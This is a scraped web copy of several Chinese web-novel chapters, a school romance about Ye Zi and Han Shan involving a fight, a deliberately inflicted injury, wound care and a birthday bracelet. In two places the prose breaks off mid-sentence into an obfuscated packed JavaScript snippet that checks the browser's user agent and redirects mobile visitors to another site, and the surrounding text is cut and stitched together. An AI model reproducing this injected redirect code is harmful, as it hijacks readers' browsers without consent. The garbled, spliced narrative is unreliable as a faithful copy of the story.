三月中旬,韩山回来上课了。 这本来是个好消息,可叶子得知这件事的契机却不太好。 早上柯以珩进教室的时候,脸上顶着伤。 鼻梁有一处,颧骨有一处,嘴角也有一处,在他清俊的脸上格外醒目。 他的颜值在他们部是“部草”水平,这样的伤简直破了相。 他一进班同学们便看到了,目光带着不可思议之色。 他臭着脸,一言不发坐在座位上,同学们没人敢问,目光跟着他移动,窃窃私语他怎么了。 叶子和秦夏对视一眼,叶子小心翼翼开口:“你……打架啦?” 同学们都竖起耳朵听。 柯以珩嗯了声。 柯以珩的前桌陶欣然立刻转头八卦道:“怎么回事啊,你赢了他赢了?” 与陶欣然隔着一个过道的男生杜子腾笑嘻嘻接话:“看样子肯定是对面赢了呗!” 柯以珩脸色铁青,不服道:“当然是我赢了!” 然而他越是这种反应,越是证明杜子腾说对了。陶欣然好奇道:“谁啊?” 柯以珩个子又高,又会打篮球,实在不像打架会输的样子。 叶子也很好奇地看着柯以珩。 柯以珩烦道:“别问了!” 课间,柯以珩跟哥们儿们在走廊聊天,他们问起他脸上的伤,他这才说:“嗐,昨天放学在球场跟人起了点争执。” “谁啊?” “好像姓韩……叫什么韩山?” “卧槽珩哥,你怎么惹到他了!” 柯以珩上个学期在国外,不知道韩山在年级里多出名,诧异说:“他咋了?不就一混混?不过打架真有两下子,妈的,我这嘴角现在说话都疼。” 秦夏上完厕所回来,刚好听到他们的对话,心一紧,连忙进班把自己听到的告诉了叶子。 叶子惊讶:“韩山打的?他来学校了?” 秦夏:“好像昨天就来了。” 叶子坐不住了,立刻跑下楼,拐进B16的走廊,迎面碰上了猴子。 猴子格外新鲜,“哟,嫂子,来找弥哥啊?” 叶子:“他来上课了?” 猴子:“是啊,昨天刚来,你消息挺灵通啊。” B16吵闹,一颗篮球从后门飞出来,砸中走廊的护栏,发出嘭的一声巨响。 立刻有男生跑出来捡球。 猴子扬下巴,“去吧,弥哥在班里呢。”他向厕所走去。 叶子看向B16的后门,她有段时间没见韩山了,竟然还有些紧张。 她走到后门边上,探头往里看。 一个男生举着一个铁丝圈,站在后门口,当人形球架,一群男生站在另一头,抢篮球投。 他们投得很准,然而这“球架”胆子实在小,每过来一个球就要蹲下来躲,导致球没一个进的。 男生们也不生气,反倒更来劲,当移动球框来投,玩得不亦乐乎。 不愧是B16,真热闹啊。 叶子一眼就看到了韩山,这段日子没见,他好像又长高了,在人堆里格外突出。 他穿着一件灰色外套,没拉拉链,袖子撸到手肘,懒洋洋靠在墙边,指尖转动篮球。 他脸上一点伤都没有,嘴里含着根棒棒糖,与兄弟们谈笑风生,浑身带着股张扬恣意的劲。 叶子正要喊他,他目光不经意瞟了过来,与她四目相对。 这时刚好有一个男生投篮,“球架”一如既往地蹲下身躲球。 这颗球投得有点歪,冲着叶子就飞了过去。 韩山神色微变,当即丢出手中篮球。 两颗篮球在半空相撞,前面那颗篮球被韩山的篮球改变了运动轨迹,一起向教室落去。 男生们鼓掌喝彩:“弥哥好球!” 叶子下意识想躲开,然而那球并没有袭来,她发现是韩山让篮球改了轨迹,心脏怦怦跳。 “球架”瑟瑟发抖在地上蹲着,没感觉到篮球从头顶划过带出来的冷风,奇怪地抬头张望。 韩山拨开男生,向后门走去。 “去哪啊弥哥?” “弥哥干嘛去?” 韩山说:“你们玩。” 叶子看见他过来了,退到墙后等他。 少年从后门拐出来,叶子顿时感觉头顶光线暗了几分。 韩山两臂环胸抱在身前,低头看着她,说:“你怎么来了?” 叶子很高兴他能来上课,但是见到他,内心又不自禁变得忐忑。 她下意识捏着校服下摆,说:“听说你来上课了,来看看……” 其实韩山不想来,秃驴给他打电话,说他旷课时间太长,再不来就开除。 再怎么不堪,像泥巴一样,他也希望能跟她一起毕业。 韩山:“那你现在看到了,快回去吧。” 万一被老师发现她和他这种人有来往,对她不好。 叶子没动,想确认一件事:“昨天……在球场……你是不是跟人打架了?” 韩山神色微冷,原来她来找他,就是想问这个吗? 他无言点头。 没什么好不承认的。 昨天下午放学,韩山和兄弟们去球场打球,球框下放着一个篮球,是柯以珩占的位置。 韩山向来不认这种占位方式,让兄弟们把球踢一边,自己带人打起球 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柯以珩捂着受伤的嘴角,疼得不行,秃驴还在责骂他,柯以珩不满说:“爸!您儿子挨打,您居然不惩罚他们,还说我!” 秃驴怒道:“他们我管不了,我只管得了你!既然是你先动的手,挨打也是活该!就当是替我教训你了!” 柯以珩气得没话说。 韩山:“快上课了,回去吧。” 叶子心里郁闷叹气,他就这么不想看见她?没说几句话一直在赶她走。 “那好吧。”叶子对他挥手,“我走啦,既然来上课就要好好学习哦。” 韩山闭了下眼,算是应下。 叶子转身离开。 韩山沉默地看着她的背影。 只要一想到她和别的男生做同桌,他胸腔就有一股控制不住的戾气肆虐。 他明知道他们属于不同的世界,短暂地重叠后,终将会回到各自的生活,也终究会有别的男生出现在她身边。 可是当事情真的发生,他发现自己没有想象中大度。 他无法……容忍一丝一毫……其他男生在她的世界留下痕迹。 打赢那一架又如何? 如果可以,他多希望跟她做同桌的人是自己。 有件事他没告诉她。 韩松庭给学校掏了钱,秃驴还是想把他安排到A1班去。是他自己放弃了。 就像赵育芳说的,近墨者黑。 他自愿远离她,正好省下一个名额,给真正学习好的人。 这是最后一次分班,直到高考都不会再有变动。 如果可以,他何尝不想、不想跟她一个班。 如果可以…… 算了,没有如果。 少女的背影拐过弯去,彻底看不见。 他捂着胸口,怅然若失。 * 叶子回到教室,柯以珩正拿着小镜子照自己脸上的伤。 他爱惜极了自己的脸蛋,没事就要照照,生怕留疤。 叶子坐在座位上,看他拧着眉头照镜子,心中讪然。 毕竟是韩山打的他,她有些过意不去。 第二天她从家里拿了创伤膏,递给柯以珩,“这个是促进伤口愈合的,你拿去用吧。” 叶进财工作辛苦,有时会受伤,所以家里常备创伤膏,叶子拿的是一支未开封的新的。 柯以珩微微蹙眉,目光落在创伤膏上,蓦地笑了声,“干嘛?心疼我啊?” 叶子一怔,没想到他误会了,有些羞耻,“不是……” 她不知道怎么解释,总不能告诉他她是为了韩山…… 她随便找了个借口,说:“同学之间,互帮互助……” 柯以珩笑着接过创伤膏,“谢了。” 他立刻打开用上了。 48. 受伤 用上叶子创伤膏的柯以珩沾沾自喜,课间跟兄弟们炫耀:“我那同桌还真有两下子,我还真挺吃这套。” “哎哟哟哟哟。”兄弟们酸他。 柯以珩笑得更肆意张扬,“她都这么明显了,估计用不了多久就要跟我表白了。” “那你答不答应啊?”兄弟们起哄。 柯以珩啧了声,“考虑考虑。” 柯以珩戏精上身,从这开始有意无意在叶子旁边装可怜,仿佛断手断脚了一样,作业不能交,值日不能做,水也不能接,都让叶子帮他。 叶子看在他被韩山打了的份上,一一代劳。 毕竟韩山曾经帮过她很多,她心怀感恩,总想为他做点什么。 她拿着柯以珩的水杯,和秦夏一起去水房接水。 她的教室在一层,路过楼梯口时,韩山和B16几个男生刚好从楼上下来。他们下节体育,提前去操场站队。 韩山率先看到叶子,脚步微顿。 叶子听到男生们的吵闹声,下意识转头。 男生们同时看到了叶子,神色变化,猴子开始叫唤:“喔~弥哥!” 韩山走在兄弟们的簇拥中,一眼就注意到叶子手中明显属于男生的黑色水杯。 柯以珩的。 那天柯以珩来球场时,手里就提着一个这样的水杯。 韩山有瞬间怔松。 少女拿着两个杯子,一个她自己的,一个柯以珩的,哪怕是个傻子,都看得出来她在帮柯以珩接水。 叶子很惊喜在这里遇到韩山,笑着给他挥手打招呼。 韩山偏头摸了下脖子,明明看见她是件很高兴的事,他却一点也高兴不起来。 那杯子像一根刺,扎在他眼睛里。 他仿佛不认识她一般,忽略了她的招呼,拐弯跟兄弟们出了教学楼。 啊嘞?叶子奇怪。 秦夏也看到了他们,问道:“他怎么不搭理你啊,你俩闹别扭了?” “没有呀。”叶子道。 叶子想了一下,想不通,索性不管了,说不定他今天心情不好,谁都懒得搭理。 教学楼外,猴子勾住韩山的脖子,贱兮兮笑着说:“没事弥哥,不就是接个水嘛,又不能代表什么。” “什么接水,听不懂。”韩山皱着眉把他胳膊拿走。 猴子笑道:“别不承认了弥哥,这么久兄弟了,我早就洞察你的心思了!刚才你的目光可是在那个黑色水杯上停留了好久呢!” 韩山睨他一眼,“屁。” 就……这么明显吗? 兄弟们听到猴子的话,纷纷凑过来吃瓜,“怎么了,什么黑色水杯?” 韩山推开他们,“一边去。” 猴子对韩山悄悄话说:“放心吧弥哥,下课我帮你去A1探探情报,绝对给你探得清清楚楚明明白白!”他挑眉,“怎么样,我够仗义吧?” 韩山不想表现出很在意这件事的样子,然而还是忍不住问道:“什么情报?” “当然是他俩现在的关系了!看看嫂子到底有什么把柄抓在那小白脸手里,还给他接水!” 韩山笑了声,马上又肃容轻咳一声,“什么嫂子,她有名字。” 猴子瞧他笑了,也跟着乐,说道:“弥哥你这关注点也偏得太狠了吧!” * 下课,猴子在A1走廊口守株待兔,秦夏出来上厕所,倒霉地被猴子堵住。 秦夏之前被欺凌,对这种画面有阴影,尤其对方还是个小混混,下意识就要尖叫。 课间正是人多的时候,猴子怕引起没必要的误会,连忙捂住她嘴,“别叫,我是韩山朋友,也是叶子朋友,找你问点事。” 叶子上节课就是跟她一起去接水,他知道她们关系好。 秦夏闻言稍微平静了些。 猴子缓缓放开她。 秦夏胸脯依然噗噗地跳,紧张说:“问、问什么?” “就问点她跟柯以珩的事儿。”猴子坏笑说。 秦夏蹙了下眉,女生的第六感告诉她这里面有情况啊。 “你说。”秦夏道。 “上节课间她帮柯以珩接水,为啥?” 秦夏秒懂,露出恍然大悟的神情,“韩山让你来问的?他是不是喜欢叶子啊?”她八卦道。 “哎呀,你别跑题啊,现在是我问你。” “噢~那我可得好好说道说道。” 秦夏一五一十地把柯以珩受伤装柔弱使唤叶子,以及叶子送了他创伤膏的事告诉了他。她就是故意要让韩山知道,来验证她的猜测。 猴子感激地道了谢,一溜烟跑了。 秦夏目送他的背影离开,很期待后面会发生什么。 猴子回班后,把秦夏说的事情添油加醋汇报给韩山,“卧槽没天理啊!你打赢了那小白脸,反而给了他可乘之机了!又使唤嫂子干这干那,又让嫂子送他创伤膏!这能忍???” 韩山手里转着根笔,只听一声脆响,可怜的笔杆被他用大拇指折成了两半。 猴子骂道:“就那点伤,几天就愈合了,还有脸装!打他一顿吧,伤得更重了,又能让他多装几天!不打他吧,又不解气,你说说,这人也忒讨厌了!嫂子也是,他让干啥她就干啥?不会拒绝吗?” 韩山冷着脸,心想,不拒绝或许是心甘情愿,乐在其中。 意识到这点的他愈发不爽,道:“以后不许再叫嫂子,听见一次揍你一次。” “……不是,你这什么重点?” 韩山心烦,趴在桌上,用校服盖住脑袋,闭上眼装睡。 “嘿!这人。”猴子恨铁不成钢。 上课铃响,猴子回了座位,韩山睁开眼睛,想到叶子让他好好学习的话。 呵,他偏不学。 他又闭上眼。 韩山睡了一下午,放学铃响了也听不见,还在睡。猴子知道他心情不好,过去叫醒他,“弥哥,晚上大排档喝点?” 韩山困倦地坐起来,把头上校服扯下来,懒洋洋打了个哈欠。 “去不去?听说新开了一家烧烤店特火,咱哥几个尝尝。我请。” 韩山听到他最后两个字,提起了几分兴趣,“行。” 天气转暖,晚上大排档人多了起来,烟火气十足。 他们坐在露天座位,猴子跟兄弟们偷偷约好一起灌韩山酒,白的啤的混着灌,边灌边故意问:“怎么了弥哥,今天心情不好?说出来听听!” 胖哥说:“就是!说出来让兄弟们高兴高兴!” 猴子用胳膊肘怼他一下,“怎么说话呢!” 一片欢声笑语。 韩山喝了不少,始终憋着不说,他喝酒不上脸,从外表猴子也看不出他多了没。 猴子拿了支烟给他,“来根儿不弥哥?” 韩山摆摆手,无言地放下酒杯,酒杯与桌面的碰撞声显示出他对自己力道的难以控制。 他胳膊搭在桌边,闭上眼,垂头沉默不语。 猴子察觉到端倪,主动帮他点了烟送到他嘴边,“来根儿吧。” 韩山睁开眼,黑眸像蒙了一层雾,朦朦胧胧。 他抬手接过烟,夹在手里,又垂下了头。 烟雾在空气中蔓延。 猴子感觉应该差不多了,先让他静静吧,于是吆喝兄弟们:“来来来,走一个!” 男生们一起干杯。 吵闹声中,韩山蓦地开口,自言自语般呢喃:“她喜欢那样的?” 猴子隐约听到他出声,凑近他道:“你说什么?” 韩山摆了摆手,表示没什么,用手挡住额头,垂着头闭着眼睛。 “装柔弱就这么好使吗……”韩山隔了一会儿又呢喃。 这回猴子听见了,笑道:“要不你也装一个?” 韩山目光朦胧抬起头:“我怎么装?” “嘶~”猴子摸着下巴,思考了下,“是个问题。大家都知道你的身手,受伤也没人信。” “你俩说啥呢?”胖哥问。 韩山目光移向胖哥。 猴子说:“在讨论怎么让弥哥受伤。” “为啥要受伤啊?” 东子抢答:“你傻呀!当然是装柔弱博同情咯!”他嘿嘿笑。 “这还不简单!”胖哥说,“睿哥给他来一拳!” 四眼:“好主意。” 众人看热闹不嫌事大,纷纷怂恿起来。 “对啊,受伤还不简单,睿哥,上!” “来一拳!” “来一拳睿哥!” 最了解韩山身手的就是猴子了,借他一百个胆他也不敢。他连忙制止他们:“什么跟什么啊?我先给你们来一拳!都给我闭嘴,出的什么馊主意!要来你们来我可不来。” 陈晨说:“今天你组的局啊!你是东,当然要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈晨:“……这帮人。” 少年身体愈合能力极强,韩山走到诊所伤口就不怎么流血了,他让医生看了伤,医生说:“你头发太长了,不剃不好处理。” 韩山怎么可能因为一个小伤口剃头发,说:“我买点纱布和药,自己处理。” “可以。” 不一会儿,韩山头上缠着纱布从诊所出来了,男生们在诊所外面等他,猴子迎上去问道:“这就好了?” 韩山嗯了声,“这件事不要告诉她。” 猴子不理解:“……那你这伤白受了?” 大家都不理解,“有啥不能说的?” “对啊。” “告诉她呗!” 韩山平静地说:“没白受。” 让自己清醒清醒也好。 东子说:“弥哥不会是觉得这种手段不光彩,所以不屑于用吧!” 大家都看向韩山,试图求证。 韩山默了默。 当然不是。 他本就并非光彩的人,何惧用不光彩的手段? 他只是不愿给她造成困扰。 她的世界既已出现新的人,他默默守护就好了。 不需要再引起她的注意。 她有自己的生活,现在这个时间,她应该还在写作业,何必告诉她,让她分心? 然而这些想法他觉得没必要说出口,所以沉默过后,他点了下头,“对,就是不屑。你们吃吧,我回去了。” 猴子想挽留:“弥哥……” 韩山头也没回。 兄弟们看着他离去的背影,发愁极了。 “不行。”猴子说,“我觉得应该告诉嫂子,她就应该知道弥哥的心意!” 胖哥:“可是弥哥不都说了别告诉她,你不怕挨揍?” 猴子一咬牙,“挨揍就挨揍!明天上学我就去说。” “等等,不是挨不挨揍的问题,是这种事适合你说吗,我还是觉得弥哥亲自说比较好。”东子说。 四眼:“有道理。” “那怎么办啊!”猴子咆哮,“你看他那样像是会说的吗!酒瓶子都砸了,愣是自己包扎完回家了!” 众人七嘴八舌出主意,胖哥道:“要不然这样,你只告诉嫂子弥哥受伤了,具体的不要说,也不要说是他自己砸的。看嫂子是什么反应,如果嫂子在意弥哥,肯定也会有所行动的。” 四眼颇为赞同:“好主意。” 猴子也觉得不错,说:“行,那就这么办!我明天就去说!” 49. 眷顾 第二天课间,猴子来到A1班外,把叶子叫出来,告诉她韩山受伤了。 叶子猛地睁大眼睛,“怎么伤的?严不严重?” “就被人用酒瓶子砸了一下,小伤,已经包扎了。” “酒瓶砸的?!你们打架了?” 猴子内心一通抓狂,撒谎容易圆谎难,承认打架吧,会让叶子对韩山产生不好的印象,不承认吧,怎么解释受伤的原因? 他心虚道:“对,一点小摩擦……不过你别误会!本来弥哥不想动手的,就是因为没动手,才挨了一下。”他努力想挽回一点叶子对韩山的印象。 叶子神色凝重道:“好的我知道了。那你帮我转告他好好养伤,我会抽空去看他的。” 猴子更心虚,他哪里敢说,他要挨揍的…… 他嗯嗯啊啊地应过去。 秦夏和柯以珩各怀心事在教室门口看着他俩。 柯以珩蹙眉问秦夏,“那不是个混混吗,叶子怎么认识这种人的?” 柯以珩现在还不知道叶子认识韩山以及韩山的那些兄弟。 秦夏随便找了个借口:“不认识吧,可能就是体委之间传话。” “哦,有道理。”柯以珩打消了疑心,转身回了座位。 “那就先这样,我走了!”猴子逃似的跑没影了。 叶子目送他离去,内心古怪道:“怎么慌里慌张的?” 猴子走后,秦夏立刻过去问叶子,“什么情况啊?说了这么半天?” 昨天猴子向她打听叶子跟柯以珩,她早就等着想吃这口瓜呢。 叶子担忧说:“侯睿说韩山受伤了,打架时被人用酒瓶砸了一下。” 秦夏却噗嗤一声笑了,“是吗,这么巧?” 叶子疑惑地歪头。 秦夏解释说:“柯以珩前脚受伤,他后脚就受伤,你不觉得很巧吗?而且韩山身手你又不是不知道,有那么容易受伤吗,还专门跑来告诉你。” 叶子被秦夏一点,也发现不对劲,“对啊,他一个人能打一群人,怎么可能连个酒瓶子都躲不开。” 秦夏悄咪咪对叶子说:“说不定他就是故意受伤的。” “可是他为什么要故意受伤呢?” “那你就要自己想想咯。”秦夏冲她挤了下眼睛,转身进了班。 叶子更加奇怪了,她完全想不到会是什么原因呀。 这天中午,叶子没有去食堂吃饭,匆匆回了家一趟,拿了一只新的创伤膏,还有碘伏,棉签,纱布,胶带……通通装进袋子里。 她回到学校,飞奔进教学楼,来到B16教室门口。 她本想把这些悄悄放在韩山桌上,却发现韩山就在教室里。 他正支着镜子,处理额头的伤口。 似乎发觉有人来了,韩山不经意抬眸。 四目相对。 叶子跑了一路,胸膛微微起伏,刘海向两边分开,露出一截雪白的额头。 韩山看到她,神色顿时变了,慌乱收起桌上的东西。 他在叶子面前向来是一副淡定从容的模样,叶子从没见过他这样慌张,就像是什么秘密被她撞破了一样。 可是受伤这种事,为什么要瞒她呢? 教室里只有他一个人,叶子大着胆子走进去。 韩山把纱布和药品胡乱塞进桌膛,镜子扣上,匆忙拨了拨头发,盖住额头的伤。 “你怎么来了?”他有些局促地问。 叶子停在他桌前,“你受伤了?” 韩山眼神躲闪,“一点小伤……” 叶子绕过桌子走到他旁边,伸手想去撩他的头发,“让我看看。” “不用。”韩山立刻转身背靠住墙,与她保持距离。 “别动。”叶子上前一步,一只手按住他的肩膀,另一只手掀起他的额发。 韩山身体顿时僵住。 他被她按在墙上,由于他坐着,比她低一些,她微微弯腰倾身,向他靠近。 她下意识抬起一条腿,跪在他的椅子边,他的双腿之间。 韩山的世界一瞬间按下暂停键。 窗外的鸟鸣声远去,风吹动窗帘的声音远去,教室里时钟滴答滴答的扫秒声远去。 他清楚地听到自己震耳欲聋的心跳,听到少女清浅的呼吸落在他耳畔,带着令人澎湃的温度。 她的发丝垂落,轻轻扫过他脸颊,他嗅到一缕香甜的发香。他的视线前方是少女漂亮的锁骨,他不敢往下看,只能抬眸。 这样的姿势下,离他视线最近的,是她小巧瘦削的下巴,粉嫩盈润的唇瓣。 他喉结滚了下,视线一时竟然不知如何安放,下意识偏头想看向别处。 “别动。”叶子立刻将他的头掰回来。 韩山:…… 叶子仔细地检查他的伤口,丝毫没有其他想法,也没有意识到自己此刻的这个姿势,对一个气血方刚的少年来说有多暧昧。 他深呼吸控制自己不要瞎想,索性闭上了眼睛。 “挺严重的,怎么能叫小伤呢。”叶子放开他,拿出碘伏和棉签,“我帮你处理吧,你自己不方便。你手扶着你头发。” 韩山说不清自己此刻是什么心情,听话地用一只手扶住头发。 “可能会有点痛哦,忍着点。”叶子用棉签蘸了碘伏,涂在他伤口上。 韩山没有吭声,这点痛与他心里的甜蜜比起来,算不得什么。 叶子动作小心而轻柔,“疼吗?我要多涂几遍哦。” 韩山无言地摇了下头。 叶子想起她小时候有一次骑车摔倒,膝盖蹭破皮,叶进财给她涂碘伏,疼得她哇哇大哭。 她怕韩山疼,故意找话题转移他的注意,“你是怎么伤的呀?” 韩山抿唇,黑眸看向一边,心里懊恼极了。 绝对是猴子那个大嘴巴告密,下午他死定了! 叶子瞧韩山不说话,笑道:“你不会真是故意受伤的吧?” 韩山脸瞬间涨红,一路红到了耳尖,他闷闷地小声说:“哪有。” 叶子看他一眼,笑声更清脆动听,“可你脸红了诶!” 韩山有一刹那崩溃。 就非要说出来吗? 叶子好奇问:“所以是为什么呀?要故意受伤。” 韩山好想让她闭嘴,捂着脑袋装晕,“啊……头晕。” 叶子一个激灵扶住他,“怎么了?” 韩山:“可、可能是太吵了……” “吵?” 叶子反应过来他说的是她自己,立刻捂住嘴,小声道:“那我安静。” 叶子继续帮韩山处理伤口,她不说话了,空荡荡的教室落发可闻。 风吹起教室窗帘,课本翻页声窸窣响动。 韩山的心跳始终没有平复,呼吸不自觉快了些。时钟滴答滴答扫秒,几乎与他的呼吸节奏重叠。 他抬眸看着少女认真专注的脸颊,感到自己被格外珍视。 他已经很久……很久没有这种感觉了。 他好想时间永远停留在这一刻,他静静看着她,而她的眼里,也只有他。 叶子给他清洁完伤口,轻轻涂上创伤膏。 韩山看着那创伤膏,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272483|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了柯以珩。 “你……也帮你同桌这样……处理过伤口吗?”他小心翼翼地试探。 “没有呀,只对你这样过。”少女答得很快。 她都没有对叶进财这样过,因为叶进财有李丽然。 所以,是真真切切的唯一一个呀。 韩山心里像被猛地灌了勺蜜,原来他这么特别吗? 他偷偷笑了下,表面还是克制地说:“哦。” 叶子涂好了药膏,拿起纱布帮他包扎。 韩山鼓起勇气问:“那你帮我……是为什么?” “因为你以前帮过我呀,你有需要我也一定会帮你。” 少女的声音依旧甜蜜,可韩山火热澎湃的心却忽而被冷却了几分。 “……只是报恩吗?” “当然不是啦,我们还是朋友呀。” 韩山下意识收拢五指,“朋友”二字时至今日依然会让他觉得高兴,可是高兴的同时,又伴随着难言的苦涩和失落。 她的朋友会有很多,他不可能,也绝不会是她的唯一。 换做她别的朋友受伤,她也会如此吧。 他并不是特别的那个,她对他好,跟他无关,只是因为她本身就是个很好的人。 韩山的心情被她无意间的几句话牵动着大起大落,良久地沉默。 叶子用胶带粘好纱布,欢快道:“好了!” 她打量韩山缠着纱布的模样,咯咯笑道:“你现在这样好像个有故事的社会哥!” 韩山回过神,对她温柔地弯了弯眼睛,“谢了。” 叶子看了眼时钟,已经一点了,“呀,时间不早了,我该回班了!” 她把药和工具都装进袋子递给他,“这个就留在你这吧,一天换一次药,明天我再来找你。” 韩山滞了下,居然还有下次吗? 他垂下头,低声说:“不用了,我自己来就行。” 总归不是特殊的那个,她来还是他自己来都无甚区别。 那就不麻烦她了吧。 “你自己可以吗?” “实在不行我让兄弟们帮我,放心吧。” 叶子爽快道:“好,那这些东西你还是留着吧,我家多的是。” “谢了。”韩山接过。 叶子笑笑,“那我走啦。” 她转身脚步轻快地向教室外走去。 “等等。” 叶子停下脚步,回过身。 韩山从柜子里拿了盒泡面给她,“中午没吃饭吧。喏。” 叶子确实没吃饭,她以为要饿肚子了,没想到韩山这里居然有泡面。 她眼睛亮亮地接过,抬头说:“谢谢。” “不客气,就当是你帮我处理伤口的报答。” 叶子心中一暖,道:“那你好好养伤,我走了。” “嗯,拜拜。” “拜拜。”叶子对他挥手,转身跑开。 叶子拿着泡面下楼,愉快地哼起歌来,既帮他处理了伤口,还不用饿肚子,真是幸福呀。 她走后,韩山回到座位,靠在椅背上,不自觉地发呆。 教室又恢复了冷清。 她在时,他感觉周遭空气都活络了起来,她不在,这个世界安静得没有一丝生气。 他拿起那只创伤膏。 他之前还耿耿于怀叶子送柯以珩创伤膏,如今他也有了,甚至,她还亲手帮他处理伤口。 虽然这并不意味着什么,但他已经很知足了。 他望向窗外湛蓝的天空。 老天啊,你终究也是眷顾我的吗? 50. 生日礼物 下午猴子来了之后,韩山心情不错,只骂了他几句,没动手。 第二天,韩山本该换药了,却舍不得拆她亲手包好的纱布,没换。 第三天,猴子想看看他的伤口怎么样了,被他一巴掌打开,“别碰。” 第四天,实在必须要换了,韩山心一横拆了纱布,重新换药包好。 日子一天天过去,韩山头上的伤口很快愈合了,表面看不出一丝疤痕。他彻底拆了纱布。 叶子给他的药和包扎工具暂时用不到了,他把它们锁进保险柜里。 里面还有叶子那张作文纸,工工整整叠了两次,单独放在一层。以及他的一个日记本。 他一直有记日记的习惯,只不过从不外露。 那是他最私密的地带。 * 今年的春分是三月二十号,也是叶子的生日。 叶进财不在家,她若是跟同学一起过,李丽然一个人在家会很孤独。 孩子的生日就是母亲的受难日,叶子想跟妈妈一起过,所以没告诉其他任何人她的生日。 十九号晚上,她一如往常在家学习,时钟指向零点时,窗外响起烟花爆炸声。 叶子下意识抬头,她的桌子就在窗边,抬头就能看到天空。 夜空中绽放着四个字: 生日快乐 叶子眼前一亮。 这是什么情况,专门给她放的吗? 她立刻站起身来,向楼下望去。 她还没看清楚,又一波烟花爆炸。 她抬头,成千上万的火花蹿上夜空,组成绿色的梧桐叶,又变成红色的枫叶,还有黄色的银杏叶。 光芒在她房中闪烁。 她瞳眸微颤,眼中映着烟火,闪闪发亮。 这时她手机响了。 她拿起来一看,是“阿弥”发来的短信。 她就知道是他。 她打开短信,只有简短的四个字: 生日快乐 标点符号都没有,显得尤为冷漠。 叶子会心一笑,能卡着点给她放烟花,怎么会是冷漠的呢? 一定火热到不行吧。 她拨通他的电话,打开窗户探身往下看。 电话立刻被接通,韩山站在夜色中,抬头接上她的目光。 “下来吗,有礼物送你。”他看着她,音色柔软。 叶子不假思索:“来啦。” 天气转暖,她不用换衣服,打开屋门钻了出去。 李丽然已经睡下了,家里黑着灯,她不愿吵醒妈妈,拿了钥匙蹑手蹑脚出门。 她一边飞快地下楼,一边对电话那头说:“你怎么知道我生日的?” 电话那头淡淡回答:“你猜。” 叶子忍不住笑。 韩山抬头望着楼道的灯一层一层向下亮起,等待少女从楼道口出现。 叶子跑出楼道,一眼便与他四目相对,欢喜地跑到他面前,“什么礼物?” 韩山目光跟着她移动,垂眸看着她,抬起一只手。 一条银色手链从他掌心垂落。 “哇!”叶子杏眼亮亮的,双手接过手链。 手链上残存着他的体温,温热的,铂金的手链,链条上有星星、花朵,环绕着最中间的树叶吊坠。 “好好看啊!”叶子爱不释手。 手链上镶着大大小小的碎钻,在路灯下流光溢彩。 叶子对这方面不太了解,问道:“这是什么材质呀?银的吗?” 韩山眸中带着笑意,说:“铂金,又叫白金。” 叶子惊讶,她听李丽然说过,铂金比黄金都贵,她连忙把手链还他,“不行不行,这太贵重了!” 就算是礼尚往来,她也还不起这么贵重的礼物啊! 韩山顺手接过手链,“伸手,给你戴上。” 叶子把手藏在背后,拨浪鼓般摇头。 韩山故意肃容:“告诉你材质不是让你拒绝我的。你若这样,以后我不敢给你说实话了。” 叶子懊恼地啊了声,她更不希望韩山骗她。 韩山:“伸手。” 两个字的命令最可怕,叶子不情不愿把左手交了出去。 韩山为她戴上手链,手链的锁扣很特别,他用一支心形钥匙为她锁上。只有钥匙才能打开。 手链的尺寸刚刚好,仿佛亲自丈量过。这下叶子想摘都摘不下来了。 手链在少女白皙纤瘦的手腕上散发着天然的银色光泽,碎钻熠熠生辉。 好看是好看,但因为太过贵重,叶子心有负担,问道:“你的生日是什么时候呀?” 她得提前攒钱做准备,还他一个同价位的礼物。 韩山佯装回忆,“嗯……忘了。” 叶子抓住他的衣襟,“不行!快说!” 韩山笑道:“别有负担,你若想送我礼物,力所能及就好了。” 她的存在,就已经是最好的礼物。 叶子为难:“那也不能差太多啊……” 韩山:“朋友间,不用算这么清。” 叶子心中五味杂陈,抬头看着他,真诚说:“谢谢你韩山,这是我十多年来收到的最贵重的礼物。” 每年过生日,她爸妈都会问她想要什么,虽然他们会无条件满足,但因为知道爸妈上班辛苦,她不敢要太贵的。于是每年的生日礼物都很简单,一本书,一根钢笔,或是一件衣服,她都已经很满足了。 所以这句话不是客气,也不是夸张,她是真的第一次收到这么贵重的礼物。 韩山心疼极了,很想摸摸她的头,但最终只是拨了下她微翘的刘海,对她笑了笑。 韩山弯下腰与她平视,“手。” 叶子迟疑了一下,把左手递给他。 韩山用手链上的树叶吊坠给她演示,“这还是个呼叫器,按下这里,我就会收到你的信号。当你想见我的时候,我会立刻出现在你面前。” 叶子不可思议睁大双眼,居然还有这种功能? 这个吊坠是韩山的发明,里面有芯片。之前他画的那些图纸便是设计图。 韩山:“之前你不是说遇到危险跑不了怎么办,现在知道了?” 叶子心跳莫名得快,“那、那误触怎么办?沾水了怎么办?” 韩山笑笑,“防水。防误触。” 叶子更不可思议了,这手链在她心里的贵重程度又上升了一个档次。 韩山直起身,“好了,小寿星,回去吧。早点学完早点休息。” 叶子收了他如此用心的一个礼物,只觉得无以为报。 他物质生活富足,什么都不缺,她该做点什么,才能表达她对他的谢意? 韩山瞧她垂着头不说话,又弯下腰,与她平视,“想什么呢,小寿星?” 叶子回过神,她思来想去,韩山唯一缺的就是成绩,他学习不好! 她大着胆子说:“我能许个生日愿望吗?” 韩山:“你说。” 她的愿望,他一定实现。 叶子杏眼认真地看着他:“我希望……你能好好学习,不要放弃自己。” 韩山以为她会提什么无理要求,至少跟她自己有关吧,却没想到,竟然跟他有关。 晚风很轻,吹动少年的心,波澜不断。 他何德何能,出现在少女的愿望中。 “可以吗韩山?”叶子轻声地问。 